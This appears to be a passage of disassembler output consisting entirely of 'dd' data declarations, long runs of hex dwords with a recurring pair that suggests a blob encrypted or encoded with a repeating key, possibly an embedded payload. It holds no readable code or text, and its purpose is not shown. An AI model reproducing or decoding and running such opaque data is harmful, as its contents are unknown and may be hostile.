		dd 19E8EC45h, 0F5E839F8h, 0E142CAEh, 95D9C1DCh,	0A61796E1h
		dd 2DA4BE1Dh, 0C4970908h, 113E410Fh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0FE2FF0D2h
		dd 11BEB6C3h, 5BF74E57h, 2ECF1CE2h, 0FA3F4293h,	0E670974h
		dd 0ACB2A9A7h, 242B9C85h, 835C3D79h, 0E4B72E13h, 850520A0h
		dd 87FD41Bh, 552F2683h,	90D3A811h, 17E60025h, 7B434EECh
		dd 290939F1h, 2C2EE254h, 66E5FBFDh, 1D705DFAh, 4EAF3824h
		dd 16474E13h, 646F8472h, 13830684h, 84E4F3C5h, 8CE2E682h
		dd 0F373D37h, 2F79FD1Ah, 0B15A883Eh, 944639Eh, 0EA1EFFBAh
		dd 0E013EC5Ch, 916D4296h, 100FFF0Ch, 0DAD29296h, 9D7271EEh
		dd 0B1B808A1h, 0D25BB546h, 5EC1D704h, 4BA6CF03h, 0C1586BDEh
		dd 0D9AA447Bh, 0D7057198h, 450772F1h, 0F1936Eh,	0FE0F683Fh
		dd 4CD9F013h, 5A80E40h,	8025E291h, 759D1F1Dh, 322730A2h
		dd 0C7ED2FC0h, 0F8AF7591h, 59C1768h, 0F8AF7591h, 59C1768h
		dd 2828DF75h, 9FADBF9Bh, 5B4A327Eh, 0BA307617h,	0B8BA1055h
		dd 0BCDBABA0h, 0B8BA1055h, 0BCDBABA0h, 0CD7DBA1Ch, 8D8A7D69h
		dd 0DAD29296h, 9D7271EEh, 345679BAh, 0E6F4023Dh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0C08E8E97h
		dd 0AA99235Ch, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0E1B2375Bh, 35E1F4A2h, 0C07238F3h
		dd 0CF13E576h, 37E6A19Ah, 0BDA4F165h, 0DAD29296h, 9D7271EEh
		dd 11B7D888h, 0B95943E0h, 0BF797EC1h, 3EEE3649h, 0A16C8997h
		dd 0A538B121h, 0B393FFA5h, 0EC46445Fh, 0DAD29296h, 9D7271EEh
		dd 0EB44854Fh, 6E303F4Bh, 2D59AB02h, 64E06AC7h,	249E63CBh
		dd 0CAD5D139h, 18A76DDBh, 35FBF5D4h, 0DAD29296h, 9D7271EEh
		dd 0FD1C9112h, 7CA2041h, 0DAD29296h, 9D7271EEh,	0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 8AED8AA0h, 7A41C62Fh, 0E82E5ADDh,	0DDA302F9h
		dd 3BF34B59h, 558BC9D0h, 0AF02EBE8h, 6557D382h,	0D1F0F1CEh
		dd 0E631E5BEh, 48CB8ABCh, 0D3429667h, 2B676190h, 0A87D4507h
		dd 833FF5E5h, 0B0237E39h, 0C8816AF1h, 0BEA46959h, 304E14D2h
		dd 78EDBB75h, 4015B85Fh, 0AF1D43B0h, 6E90CB42h,	3E65688Eh
		dd 0AB0AE369h, 978E3BD9h, 448240BCh, 0D1AED775h, 4300527Bh
		dd 0E52D89D5h, 0E60C39C4h, 7466E106h, 1A2C64Ah,	28AFBB23h
		dd 0DEC0B0DEh, 48655298h, 1DC675C3h, 7674C4C5h,	0A4818068h
		dd 51051F16h, 0B4B828D7h, 0F6FF8388h, 7302A401h, 12EB5A97h
		dd 6D13B0E3h, 0BDF482Dh, 370AFC9Ch, 0A9FC6981h,	0B22CC854h
		dd 0E81B88ACh, 920223B2h, 0D79934C9h, 6EDB1F4Ah, 99DCEE65h
		dd 766CCCBEh, 0D01187CCh, 3A36C2CFh, 0C6855734h, 7E6BC378h
		dd 9926483h, 0FE381DCEh, 0E9915D89h, 241E62AFh,	0AE695EA4h
		dd 0D4C89E68h, 1D6A313Bh, 6EB8C3D3h, 4D5CCEA7h,	1FB5525Bh
		dd 77577670h, 8F800177h, 0C7E49587h, 0BAF1CAFAh, 0E4B9000Dh
		dd 0E1B95FB5h, 0B73394CFh, 8770CE08h, 4378A31Fh, 24000A78h
		dd 29C4A3D8h, 0DEB215CEh, 14E7CC53h, 4297CD38h,	0D2AF8200h
		dd 68C28D77h, 6816D00Eh, 0D05B0AB7h, 11C4C744h,	19508991h
		dd 722503D6h, 0DAB8EB12h, 0A3E2C889h, 0F8F51C51h, 918901D8h
		dd 9F37DA9Bh, 39F948D3h, 219D688Ah, 87704FDAh, 818CE830h
		dd 54ADF668h, 55281C7Ah, 3C66AF04h, 6C9394D3h, 58955D29h
		dd 48706B04h, 0DAA4E283h, 3C7E1FECh, 0C977DDB6h, 7E36D21h
		dd 0DDE4590Bh, 89FF7D0h, 57A1959Fh, 92E2F9F2h, 57D72EB6h
		dd 84C73C9Fh, 5A720278h, 6C27A21Dh, 5734E274h, 8DA5CC7Ch
		dd 0CAC96F7Bh, 519C0812h, 0EE15F23h, 5BE5E476h,	6E0F64E0h
		dd 453F9EB3h, 594EF213h, 0CF5BA170h, 0CF2CA859h, 0F4129829h
		dd 6BD3F015h, 0E71FAA41h, 778C43CAh, 765A9997h,	881408F3h
		dd 40A71C22h, 26DCFD6Ah, 32BAC76Fh, 0C8E8A9C8h,	7D35B0CFh
		dd 51D8010Eh, 79752E4Fh, 3ECEB494h, 0CD5A6DBBh,	0CC4FA324h
		dd 0D7228046h, 0E51B6C98h, 8DE9BE6Ah, 0FAAF8DA3h, 0EFB1D0ABh
		dd 0E0184264h, 915E6D7Fh, 0BA9765AEh, 7D3BB654h, 0C09665Ch
		dd 0F3897D13h, 0CFDB0EFCh, 3B3A604h, 8143C9C6h,	0F72A28E9h
		dd 0CBC62EA0h, 0A5F2D908h, 0B5BC322Dh, 5F4BD9FCh, 35E23951h
		dd 85A109h, 0D94EC4F5h,	0EFB1D0ABh, 0E0184264h,	221CBC8Eh
		dd 3C7B382Dh, 92402329h, 83048B1Dh, 152D787h, 3E3B0C95h
		dd 0D6E953D9h, 0E54B23D0h, 3A36C2CFh, 0C6855734h, 640CAFE5h
		dd 0AE8010D9h, 6C96D33Eh, 0F1E82889h, 0E0E4D46Ah, 8262C983h
		dd 360F9F70h, 0D73B5444h, 9D4564E6h, 263EDF16h,	0F58F38E2h
		dd 0D00F1E54h, 6C30097Fh, 0D4746228h, 732837EEh, 0B1F2ABBAh
		dd 68B4B6B6h, 4162853Dh, 23850F3Fh, 648381AFh, 43C08389h
		dd 6414549h, 5D1BA5ACh,	3997362Ch, 891FE46h, 9798D7D8h
		dd 72D4E3Dh, 1C4E1240h,	0ACE9DF4Ch, 5DC19FBEh, 31EB51F1h
		dd 939BCDB0h, 0D1C5407Bh, 8F9F3074h, 7F47F20Eh,	2F74F1FBh
		dd 7CF78CE2h, 16A972F2h, 0C7D7DB93h, 0B7ECE5F6h, 976EC4EBh
		dd 9F31DB17h, 7DDD588Dh, 0A1905E2Dh, 0B2369409h, 0AFC3D5B7h
		dd 61C822D7h, 0F7B856E9h, 0FFE61E1Fh, 7BE8BA12h, 0FE89F35Fh
		dd 4E1491FFh, 9E472BDEh, 0FFDE1017h, 0D7D72DF3h, 9F9EAC9Dh
		dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 34FA3067h
		dd 95AA0CB4h, 0A8B27F48h, 14B99D9Dh, 30F9B1ECh,	0F3BC4B5Eh
		dd 70FD9F64h, 5A19A72Bh, 949742D2h, 0C387B35Eh,	0DE920352h
		dd 65F16F0Eh, 768DC030h, 0FE991D73h, 709FA0A0h,	0CB71A7BAh
		dd 4D6AF9h, 605F1842h
		dd 5C262E22h, 0D773AF5Ch, 1FB776FDh, 34E26346h,	5B4A7648h
		dd 25638936h, 3F0592CBh, 0C91DC3A3h, 38FF8E3Fh,	626D0DF4h
		dd 4EE1788Ch, 3DF2934Ah, 0D1FE46F0h, 1F34E882h,	0C512A0EAh
		dd 6C97E787h, 7314224Fh, 0EA0C826h, 0D44B435Eh,	2B6F531Eh
		dd 0B47058ECh, 8AD39601h, 0B10B3244h, 61E5CB21h, 25359DC6h
		dd 0E12CFF66h, 188F37ECh, 0C562D0D3h, 0D39B0325h, 5AE13D32h
		dd 0FD4D143Fh, 3E61F971h, 0D92B39CCh, 703151CCh, 0BEFA2446h
		dd 0FD7E38CAh, 341D83EEh, 663F0DB7h, 92B3C909h,	8CE971CEh
		dd 9E4B0467h, 97D92CD4h, 0E9407C34h, 197DFB27h,	67137260h
		dd 28FCC23Ah, 8528E3E0h, 1261929Bh, 0A4415EBDh,	0D8626231h
		dd 782AC3Ah, 3498CCE9h,	90F2CE0Ah, 905DEFEAh, 1CACDD23h
		dd 0CC168F95h, 4C96A07Bh, 397339FAh, 0FC864AE1h, 0C91A896Ah
		dd 7B0B49A2h, 10A9E1B8h, 0B2DBBFEDh, 0E27DD0C2h, 437450ACh
		dd 0D81EAC68h, 8C4600ACh, 0A3CB410Ch, 0D8555952h, 696C25C1h
		dd 0E787E895h, 3B5EC725h, 7F4955EAh, 74A24E33h,	0CC38EC96h
		dd 96D32E0Ah, 0B1A673B4h, 2EEC1793h, 0B41140E0h, 5CDA2D1Ah
		dd 4C6E2C63h, 0A18B39DFh, 30AB515Eh, 77C301Ch, 2EB3247Ah
		dd 887F54F5h, 62A5A614h, 0D33DB32Fh, 0A3803408h, 0B0386F5Ah
		dd 2CEBC31Ch, 40AE6291h, 64AC4E3Fh, 0CC6CFD89h,	3030E348h
		dd 4C146D12h, 428F5715h, 412AC741h, 738F1070h, 63CD1947h
		dd 342820DCh, 0E0DC99ABh, 33B7567h, 0AC7B6308h,	52282220h
		dd 0ED141E27h, 5683F984h, 93E3651Ch, 7226F97Fh,	6CD75235h
		dd 764BBF8Ch, 40E41E9h,	0DADFC16Eh, 0C04A021Ch,	60583659h
		dd 6925E5FFh, 1CCA9DECh, 87A9DC1Ch, 82F9B081h, 4A18297Fh
		dd 2FBB56FDh, 0FA4C4F30h, 0C1B550h, 2E10A3E2h, 97963F20h
		dd 2156F406h, 2DF1CB5h,	489CBD92h, 70DD3B99h, 30965399h
		dd 1E377E97h, 0F178A6B6h, 1B8785E6h, 4C73D2D8h,	0D54C5C28h
		dd 18A9796Dh, 5C1E688Eh, 34FC8C8Eh, 0C3E5900Fh,	0B29E9C2Dh
		dd 40897E5Ah, 3C61F744h, 0D26A21DDh, 84C58D2Dh,	0E5364C80h
		dd 0FB59048h, 0EDF62E49h, 68499988h, 629D02Eh, 31E5CDE7h
		dd 0EA4F2B83h, 909910F5h, 51FDB10Bh, 0ED033BC0h, 7535D330h
		dd 3B05A13Bh, 0B2722BECh, 0E1402310h, 0A193BF35h, 2C5636B6h
		dd 39BD55DAh, 88256E66h, 5846C88Fh, 0DF78C405h,	0F9E34149h
		dd 56361388h, 0A86771C7h, 1F50580Ah, 9FBC6F75h,	0D749AB94h
		dd 3A527095h, 5424A8EFh, 309F315Eh, 67683829h, 6574D8F7h
		dd 20B0C604h, 1257D658h, 0A7565570h, 2EB2DDB3h,	0B5671696h
		dd 8E6F3E8Fh, 95168C32h, 0CC7B36FEh, 539D8726h,	4AB9F4C2h
		dd 86FC07Bh, 375B44F4h,	0AAC79FFEh, 4A7B789Ch, 0EF676183h
		dd 62AE6A3Fh, 6EC9481Eh, 7C894DC2h, 0C8B60E1Ah,	0DFF4361Dh
		dd 42641798h, 83FAD739h, 0FD6CFB4Bh, 0FBDE7289h, 4E6F287h
		dd 164A46CAh, 193AB4A7h, 4B083544h, 0AE9A3FBCh,	0C3D64116h
		dd 9C4464Ah, 42685B3Ah,	809AFE0Ah, 0CD94A142h, 0C8FDAC57h
		dd 4F3368EAh, 0E0DCF7Ah, 1516FE6Ch, 0D7BB582Bh,	329661F3h
		dd 61378979h, 684135A3h, 292C5948h, 0F1FEE76Fh,	0ED62FF22h
		dd 740DDA8Dh, 0C0D482C1h, 0B31A696Eh, 5CE7CC79h, 6DC43EB5h
		dd 9F963FBFh, 5D48A309h, 44DCC3BBh, 0B7F2B9E4h,	6055B991h
		dd 7F3B2Fh, 0FE87DC9Ah,	8A112AA2h, 2A3723D9h, 27F594BBh
		dd 5BB82555h, 0CB459590h, 0DC2C8491h, 2033937Dh, 7192DC06h
		dd 0BDB4D93Bh, 350D8A53h, 0FF36B0Bh, 2EE320D6h,	9CE88093h
		dd 528B14C9h, 6D4001BFh, 0FA48D348h, 0A0836268h, 163F88A2h
		dd 0DF6B7C03h, 9B5E87CCh, 4FBFA73Eh, 0E6FE2473h, 0BDC2A8ABh
		dd 26F75A0Dh, 0E8CA7972h, 38A4538Ah, 63B6F665h,	7E1FA1C1h
		dd 0DF133A5h, 36BCE97Eh, 0B3C298B9h, 0E7A9D9Fh,	0C4C702C0h
		dd 0CFFF309Fh, 0A278C531h, 55C032F0h, 8455A00Eh, 2D66014h
		dd 1A0752B4h, 54C470B9h, 696D2C6Eh, 0D0CEEA53h,	5E4BFB5Ch
		dd 0BA388AFAh, 967AAEFFh, 95033CCCh, 0C4A95857h, 4B5056E5h
		dd 6DA534CBh, 0F60DA063h, 880A3A0h, 727A4769h, 272F7FE3h
		dd 1AA416E9h, 0BDCA7798h, 2E10AE72h, 46448629h,	0FED7E8A8h
		dd 4963DDBBh, 1764163Bh, 0CD900A2h, 0D4C88444h,	0CBB766B5h
		dd 0FBE11CEh, 5FF82E63h, 8C7041h, 36B1E771h, 0D113BF26h
		dd 8A913FE9h, 0B9534F70h, 0E914B319h, 399AF212h, 0B8DEC8A5h
		dd 5F06D7F2h, 60630B5Fh, 0DA561959h, 67C5A0AFh,	890B4948h
		dd 3AA68A99h, 15BB50F2h, 711D41A1h, 40CA6A70h, 0EBD3AB41h
		dd 1133E59Bh, 62A25F42h, 33A7C98Eh, 0BB0E99E3h,	0D6005B5h
		dd 0C7EFE5EDh, 22FF52D0h, 5F1B111Fh, 0E28A1E28h, 6810EB78h
		dd 0DD21DD1Ch, 0EEDB84FFh, 0FDE586A1h, 37E92119h, 205FD269h
		dd 99ECDF91h, 816EC51Dh, 85FB0ED2h, 0B4B8B1ADh,	0EBE91717h
		dd 0D0E0EFC5h, 9EE60BFEh, 96F2889Ch, 67B6F764h,	0CDABD618h
		dd 346290C1h, 4B47967Dh, 0CC90A96Ah, 2B48B6DAh,	20F5CF90h
		dd 515E9BC3h, 0A33842CFh, 5CB28B51h, 0A5FBB8A4h, 0EC0CF0ABh
		dd 5FE67B3Bh, 0EA03287Bh, 0AC1D795h, 854ACA36h,	853EDBD7h
		dd 1B72A837h, 0EE669FF9h, 256E7922h, 0E502AB89h, 7C1559FEh
		dd 842FE45h, 55DF60FDh,	0E827619h, 1306D83Ah, 14F1844h
		dd 8D4777B5h, 0B48277CDh, 429E4F81h, 0FBEF3F64h, 0E469ADA9h
		dd 75BB7B64h, 0CFC4A0DBh, 6DF1BF64h, 0B7B2179Dh, 0A33F38F3h
		dd 38CB2F2Ch, 0CACB1F90h, 2F0C94DEh, 3837A2D8h,	25C7FF7Eh
		dd 306C16CEh, 8683FD1Fh, 1692C3ADh, 1E85CDE4h, 0A187AD96h
		dd 0DEB1A42Bh, 0CC1332E1h, 86FBFA3Bh, 1F29DD29h, 9E1EE1C6h
		dd 396A476h, 0B3EFF2CAh, 540F1E3Ch, 150D2A00h, 0D46C59C3h
		dd 0C571B5D2h, 20CBA90Ah, 5EDC42A7h, 0E18AEDD2h, 58136693h
		dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 0B2880711h
		dd 0EABDAD91h, 5817814Ch, 669935EEh, 0C68DB6Ah,	55277BE1h
		dd 25FD1A26h, 0AC3FBF1Dh, 24147FBEh, 0BE8AD907h, 0B73A9322h
		dd 8EFDF936h, 0DE920352h, 65F16F0Eh, 0CCA0DF05h, 0DAA21D96h
		dd 709FA0A0h, 0CB71A7BAh, 4D6AF9h, 605F1842h, 27FF4202h
		dd 0EFCEC7B5h, 0A36355F5h, 0B1AD9FF9h, 6412A88Eh, 0F39C5B69h
		dd 0CE36E8E5h, 7D405389h, 0B603B8AAh, 1C1B44A4h, 0D5ECD81Eh
		dd 0F956DB6Eh, 471030h,	1E260936h, 8A45BE6Eh, 7F0ABD5h
		dd 0AAC8A502h, 354C1891h, 95570F44h, 0EEFF0F2Bh, 0C906F9C5h
		dd 0A31675D2h, 73D8FB39h, 0B004D10Eh, 172ED8FBh, 3912879h
		dd 0DAD7AB27h, 0ABA7E94Ch, 200926FAh, 0DC9506EFh, 0F205CF3Fh
		dd 486DA344h, 0D6333EF9h, 1066B239h, 8A4AEDCFh,	0DC17B2Fh
		dd 0FD4DCA23h, 60DFA200h, 0BB4ED2C6h, 8DBDEC31h, 52181F95h
		dd 0CEBF19DCh, 0DB66E9B0h, 0A3E6C63Fh, 0C31A7FB2h, 87006877h
		dd 5533FC3Eh, 0CEEACF56h, 4564FC1Eh, 0F8FA1A0Dh, 0C5A54918h
		dd 8481DCD0h, 0CE1677B6h, 4050A60Ah, 18CB566Ch,	4580AFF7h
		dd 48BEF57Eh, 7F0B48F6h, 38FF84BBh, 0F356C76Ah,	0F3671F67h
		dd 60C55C15h, 0EFB1D0ABh, 0E0184264h, 0FB31C508h, 804C37F2h
		dd 0A66AB25h, 102CCD2Ah, 95D4C06Dh, 0B86E5CBEh,	1C5F3C6Eh
		dd 0D9DF84B8h, 0E09AF912h, 10B2416Eh, 0F146653Dh, 7729F06Ah
		dd 0F78832B8h, 0BFE9DC5Ch, 0FE0F929Ch, 393D3282h, 6B60845Ch
		dd 8530C5C9h, 76938BFCh, 500DBBFCh, 42CF83C8h, 6E4FE226h
		dd 4C5527FCh, 0FEE50ACDh
		dd 0B9BC44FDh, 18E52530h, 0CDE2816Fh, 670269DDh, 81497BDAh
		dd 419DD926h, 0FD531F8h, 8039F0D1h, 96B3D157h, 2635604Eh
		dd 4BBEF57Bh, 715CD5h, 0E0C41816h, 9168983Ah, 62A484B7h
		dd 0C90270F3h, 0F0ACF620h, 0DEE7B789h, 3BFF59C7h, 35F28FEh
		dd 7267904Bh, 0DE84A564h, 63D4630h, 8BCD012Dh, 3946B7BCh
		dd 9A49083Ah, 42578ADBh, 2409F9B1h, 0FC768001h,	26C9F019h
		dd 0A1E84884h, 0A98D2A81h, 0ECBCE43Ch, 0A4F8B478h, 0EE320C82h
		dd 0F7507EFFh, 1942B7A6h, 0D4B8088Dh, 2F4D5832h, 550853B6h
		dd 0E1D2E375h, 3EA1337Dh, 0AD7E78F8h, 278ABA72h, 0E0356C10h
		dd 0D2280CF1h, 0C6C67664h, 0E15B5D8h, 15467856h, 47DBDB4h
		dd 0DC9F030Dh, 0BC5FE8B1h, 63761FAAh, 18034B03h, 4CE70548h
		dd 68C6538Fh, 0E591782Bh, 25725EDBh, 0F17BB68Eh, 0D9AB1B0Bh
		dd 0EF33EE71h, 5BFB7F5Fh, 3E811F68h, 0A7DEB583h, 194C6588h
		dd 1670E5BFh, 1FABF7FAh, 90F0A6BCh, 23B3DF04h, 0A8C3C3B4h
		dd 97A6D382h, 726DCAD4h, 0D11C95A3h, 0A38C9A95h, 8F045EABh
		dd 2C1F0F16h, 4164EAB8h, 34018F11h, 51756266h, 28D24B5h
		dd 0CA1C15CCh, 0F8FDB79Ch, 6C223B9Bh, 0B53EE207h, 53EB128Bh
		dd 2D933F66h, 0BF764373h, 0CCDE3A1Ch, 373900B7h, 76130597h
		dd 1BAEABCEh, 0FE2C2C5Eh, 0BBEF6667h, 0D20246A5h, 142B44ACh
		dd 81173EC8h, 7FC2A951h, 2EE0862Eh, 0D874050Bh,	0DEC83B92h
		dd 0BA208445h, 0F5F4948Fh, 915FA8FDh, 5FAA3E9Dh, 910BA77Bh
		dd 0EA244F2Eh, 8FCA3E38h, 9EBC71D2h, 0ABF617DEh, 0AF4C99D9h
		dd 41C92579h, 70EC646Bh, 25EFBD60h, 8AA27082h, 279BE969h
		dd 3B704551h, 0FBCB4A4Bh, 252A966Fh, 3FDFBFD6h,	0C0969DB2h
		dd 0D48CDC79h, 6F26ABB7h, 16C029Ah, 0BC8AA763h,	150D7A36h
		dd 0C4EAC0Fh, 0CD015F06h, 67CD064Bh, 0C0ED2E0Bh, 2041161Ch
		dd 0C40A37C7h, 79B160D2h, 0CE95F7EDh, 0FCBDD29Ah, 0AE09BCBh
		dd 3B6B80C1h, 5825D3A1h, 31BF8D50h, 0ADFB8435h,	0D2472658h
		dd 5CE9EC1Dh, 6A10226Ah, 0CE4D81B3h, 0EB60F0C2h, 0C25B62FFh
		dd 8E23728Ah, 6C223B9Bh, 0B53EE207h, 5F56A16Ch,	0C573C262h
		dd 2D6457C5h, 0AA3B69E5h, 7E8F9F74h, 60AE57Fh, 0CEB35C9Dh
		dd 52BF1A35h, 0CDAD6F56h, 89A7FBB2h, 0E6EEEC8h,	2C58CEEh
		dd 1770484Bh, 0CA9C7F9Eh, 7E93D12Ah, 0A36A145Eh, 0D55BF244h
		dd 8BB94EDAh, 0A56C6C76h, 0BF10DA48h, 1BC02CCEh, 45CABF1Ch
		dd 34ED5769h, 4EAD917Ah, 7EAAE4B2h, 1C7EE7A5h, 0F24794C3h
		dd 0A23D187Eh, 0CED6D8E4h, 6F584727h, 27C85E67h, 110BC439h
		dd 437DA091h, 0A40A80D6h, 853A61F6h, 0B8498A84h, 7131E982h
		dd 0F389C4E2h, 2EF11CC3h, 1F9E1D5Ch, 44D14E5Bh,	863AA0CBh
		dd 5D1BA5ACh, 3997362Ch, 0B4FF1627h, 97B49B0Dh,	1F1DD8BDh
		dd 0B3ACEDB3h, 6F2C7843h, 8B11297Ah, 0D16BB0B6h, 0D3FF3D48h
		dd 0BF31B3h, 0B927C300h, 0E5D0B697h, 21FD2475h,	9103AA10h
		dd 49314BF0h, 5193FE8Fh, 0BC540EB6h, 3A36C2CFh,	0C6855734h
		dd 6032DF02h, 7AE466Dh,	0A481F2D9h, 344BD5FCh, 8E148786h
		dd 4F64D8B8h, 8D42D8B4h, 7C403AD4h, 68B4B6B6h, 4162853Dh
		dd 0FF09DEB1h, 0C432DBD1h, 7AB75C21h, 0FE038535h, 0C9320229h
		dd 0B9F40C27h, 0F2FC4D9Dh, 1ED26572h, 0DF177748h, 2EB30988h
		dd 5657202Fh, 0E7EB7B83h, 0B02DE0D4h, 0A4283CD4h, 0AACEB96h
		dd 13CA24F8h, 8E3F91A1h, 0D1BDC2BCh, 0DAD191CFh, 352098F8h
		dd 0D20CA268h, 79F45169h, 0F50BCF66h, 31124114h, 68B4B6B6h
		dd 4162853Dh, 23850F3Fh, 648381AFh, 5A9EF1B6h, 9A97314Ch
		dd 9BB77956h, 0DA1D5C20h, 88421861h, 95D676BEh,	0BF31DE6Ch
		dd 6C596164h, 0EE12FEF5h, 96074EDFh, 0E4AD521Eh, 88F42396h
		dd 0C0A3611Ch, 0E6036AC7h, 6728EABAh, 0EC243BA6h, 0C4970908h
		dd 113E410Fh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 5C5AB97Fh
		dd 0B29482AFh, 0A43543AAh, 0D9C75DF9h, 55642969h, 0FB175DEh
		dd 48940AAEh, 5738AB5h,	303D26E1h, 706C33Eh, 9B4A44F7h
		dd 0E25CD246h, 0AD3DF3EEh, 0F3C0F15h, 0A4F14B52h, 9B6E3FDh
		dd 56271D2Fh, 0B95A315Ah, 0FADFEC9Bh, 1EC7ACA4h, 88E054AFh
		dd 915B6E55h, 0DBA88D3Bh, 7C3123DCh, 8513AA74h,	0A34DA79Fh
		dd 0E511C940h, 3684C6BEh, 1B5DBC10h, 72C3B11Fh,	6DF36A3Bh
		dd 954D7C48h, 86133FFh,	0B8F2F4C9h, 0C03F3923h,	2B2F468h
		dd 0EBA84E1Eh, 0E244B63Fh, 6B6ECDEDh, 2464C8DCh, 43DBB2D5h
		dd 35E5234Bh, 59C57843h, 0C67CCF11h, 4061F3C7h,	454890D1h
		dd 1D5645E4h, 0D6BC6389h, 0DC72B5CCh, 0EE5D2C5Dh, 7A12C788h
		dd 0B7B4C1E2h, 4C2075C8h, 566799F0h, 6F4E1D93h,	9658BC7Dh
		dd 4592EE24h, 718FDDDAh, 0DBDCD285h, 0B5B954ECh, 507D3817h
		dd 6DD3BFB3h, 17E3956Fh, 0F3DCF587h, 24CA348Ah,	0FB132055h
		dd 4BDAC6C7h, 67C80E8Ch, 35694631h, 45478625h, 0AB0F0322h
		dd 0E58AB0D6h, 1790DA6Fh, 3ABB44A2h, 39F5886h, 40FDE1C7h
		dd 0D20A46A2h, 744B7892h, 0DAD29296h, 9D7271EEh, 0FCAB47EEh
		dd 6739CFCAh, 0CD510F9Bh, 64D3AB51h, 0D7CCE825h, 0B8AF5C4Dh
		dd 6DF94FE3h, 202AAB99h, 0DAD29296h, 9D7271EEh,	0DAD29296h
		dd 9D7271EEh, 5C5AB97Fh, 0B29482AFh, 0A43543AAh, 0D9C75DF9h
		dd 55642969h, 0FB175DEh, 48940AAEh, 5738AB5h, 303D26E1h
		dd 706C33Eh, 9B4A44F7h,	0E25CD246h, 0AD3DF3EEh,	0F3C0F15h
		dd 0A4F14B52h, 9B6E3FDh, 56271D2Fh, 0B95A315Ah,	0FADFEC9Bh
